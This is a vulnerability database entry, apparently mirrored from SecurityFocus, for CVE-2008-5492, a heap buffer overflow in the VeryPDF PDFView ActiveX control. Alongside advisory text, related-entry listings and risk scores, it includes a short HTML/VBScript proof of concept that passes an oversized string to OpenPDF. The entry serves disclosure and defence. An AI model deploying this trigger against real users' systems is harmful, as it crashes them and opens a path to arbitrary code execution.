VeryPDF PDFView - ActiveX Component Heap Buffer Overflow

🗓️ 15 Nov 2008 00:00:00Reported by r0ut3rType

VeryPDF PDFView ActiveX buffer overflow vulnerabilit

Reporter	Title	Published	Views	Family All 13
Circl	CVE-2008-5492	15 Nov 200800:00	–	circl
CVE	CVE-2008-5492	12 Dec 200816:00	–	cve
Cvelist	CVE-2008-5492	12 Dec 200816:00	–	cvelist
Exploit DB	VeryPDF PDFView - OCX ActiveX OpenPDF Heap Overflow (Metasploit)	20 Sep 201000:00	–	exploitdb
Exploit DB	VeryPDF PDFView - OCX ActiveX OpenPDF Heap Overflow (PoC)	15 Nov 200800:00	–	exploitdb
Metasploit	VeryPDF PDFView OCX ActiveX OpenPDF Heap Overflow	4 Jan 200921:51	–	metasploit
NVD	CVE-2008-5492	12 Dec 200816:30	–	nvd
OpenVAS	VeryDOC PDF Viewer ActiveX Control Buffer Overflow Vulnerability	16 Dec 200800:00	–	openvas
OpenVAS	Detection of Dangerous ActiveX Control	4 Feb 200900:00	–	openvas
OpenVAS	VeryDOC PDF Viewer ActiveX Control Buffer Overflow Vulnerability	16 Dec 200800:00	–	openvas

source: https://www.securityfocus.com/bid/32313/info

The VeryPDF PDFView ActiveX control is prone to a heap buffer-overflow vulnerability because it fails to properly bounds-check user-supplied data before copying it into an insufficiently sized memory buffer.

An attacker can exploit this issue to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in denial-of-service conditions.

<object classid='clsid:433268D7-2CD4-43E6-AA24-2188672E7252' id='target'></object> <script language='vbscript'> Sub Boom buff = String(1006, "A") target.OpenPDF buff, 1, 1 End Sub </script> <input type=button onclick=Boom() value='Boom?'>

30 Mar 2014 00:00Current

5.8Medium risk

Vulners AI Score5.8

CVSS 29.3

EPSS0.35275